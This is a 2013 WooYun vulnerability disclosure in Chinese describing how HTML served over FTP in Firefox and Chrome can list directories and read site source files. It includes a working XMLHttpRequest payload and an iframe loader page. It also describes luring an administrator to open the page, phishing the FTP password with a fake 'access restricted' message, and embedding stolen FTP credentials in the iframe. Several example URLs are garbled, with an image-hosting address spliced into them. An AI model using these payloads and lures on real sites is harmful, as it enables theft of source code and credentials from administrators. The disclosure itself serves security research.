当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-024902

漏洞标题:Firefox/chrome等FTP域内权限限制不严,可通过XSS遍历网站目录并获取源码。

相关厂商:firefox、chrome等

漏洞作者: 爱梅小礼

提交时间:2013-05-31 23:40

修复时间:2013-05-31 23:40

公开时间:2013-05-31 23:40

漏洞类型:非授权访问/认证绕过

危害等级:低

自评Rank:2

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-31: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-05-31: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

浏览器在FTP域内的CSRF问题,虽然遵守了同源策略,但不代表解决了所有问题。“可通过XSS遍历网站目录并获取源码”的环境要求有些苛刻,理论意义大于实际意义。

详细说明:

只在IE9、firefox、chrome上做了测试,除IE之外,其他都同通过。
首先明确一点,浏览器在任意协议下,不论是http(s)、File还是FTP、UNC、MHTML、
Jar协议,遇到html扩展的文件都会进行渲染,当中的javascript同样会执行。
再看FTP下的权限问题:当使用FTP协议渲染某个女HTML文件时,这个文件伪造的请求可获得指定目录列表,也有权限读取任意指定路径的文件内容。

<script>
function createXMLHTTP()
{
var xmlhttp = null;
try
{
xmlhttp = new XMLHttpRequest();
}
catch (e)
{
try
{
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
return xmlhttp;
}
var request = false;
request = createXMLHTTP();
xmlhttp=request;
xmlhttp.open("GET", "/", false);//获取当前目录内容
//xmlhttp.open("GET", "a.php", false); //获取指定文件的内容
xmlhttp.send(null);
var ret = xmlhttp.responseText;
alert(ret);
</script>


如果目标环境满足如下条件,那么你可以使用这种方式遍历网站目录或者获取指定源码。
1.管理员使用FTP管理网站
2.网站允许你上传html文件,或者有存在dom xss的html文件。
将你要读取的文件或目录写入payload.html(要想把获取的信息传到自己的服务器上只需多加几行代码即可,这里不再赘述),上传到网站中,假设你也能确定它的ftp路径:ftp://xx.comhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/payload.html
上传跨域用的xss.html到网站目录中:
xss.html
<iframe src=ftp://xx.comhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/payload.html></iframe>
假设上传后的路径为 http://xx.comhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/xss.html
诱骗管理员访问 http://xx.comhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/xss.html
最好的情况是管理员打开xss.html的同时,它也在登陆FTP或者会话未超时,再或者浏览器有记住ftp密码的功能,这样你便可以直接达成你的目的。
如果不满足上述情况,浏览器就会弹出FTP的登陆框,除非遇到极品管理员顺手输入了密码,否则payload.html不会执行.那么我们可以做什么?你可以在xss.html中写入

<b>访问受限,需要验证你的身份</b>


来进行钓鱼,骗他输入密码,当然成功率不敢保证。
还有种条件下也可使用这种方式,便是你得到了管理员FTP密码,但FTP server进行了访问控制,只有管理员的IP可以连接到,那么你可将xss.html修改为():
<iframe src=ftp://username:passworld@xx.comhttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/payload.html></iframe>
其他步骤不变。
承载着你一切猥琐梦想的Payload将在管理员的浏览器中静默的执行。

漏洞证明:

这是Chrome和firefox通过上述代码获取了当前的FTP目录

chrome.jpg


firefox.jpg


这是firefox获取了指定文件的内容,chrome的就不截图了

f.jpg


有朋友给我说这算不上是浏览器的漏洞,我不置可否。XSS算浏览器的漏洞吗?
当然不算,那浏览器为什么要推XSS过滤器?何况IE已经注意到这个问题了,它的错误提示会告诉你“权限拒绝”。
不管它是不是漏洞,它确实是存在的。
爱梅小礼·菜客@C.E.T
2013.5.31 夜

修复方案:

你猜

版权声明:转载请注明来源 爱梅小礼@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2013-05-31 23:43 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    洞主,你上一个uc漏洞得到了1000¥奖金,请注意查收 :)

  2. 2013-06-01 00:16 | 黑匣子 ( 实习白帽子 | Rank:64 漏洞数:17 | 我是一个有思想的菜鸟!)

    学习了

  3. 2013-06-01 17:51 | 爱梅小礼 ( 实习白帽子 | Rank:93 漏洞数:14 | 我怀念的是无话不说)

    @xsser 看到了,平常老婆管的严,这次总算能攒下点私房钱。感谢党国感谢xsser。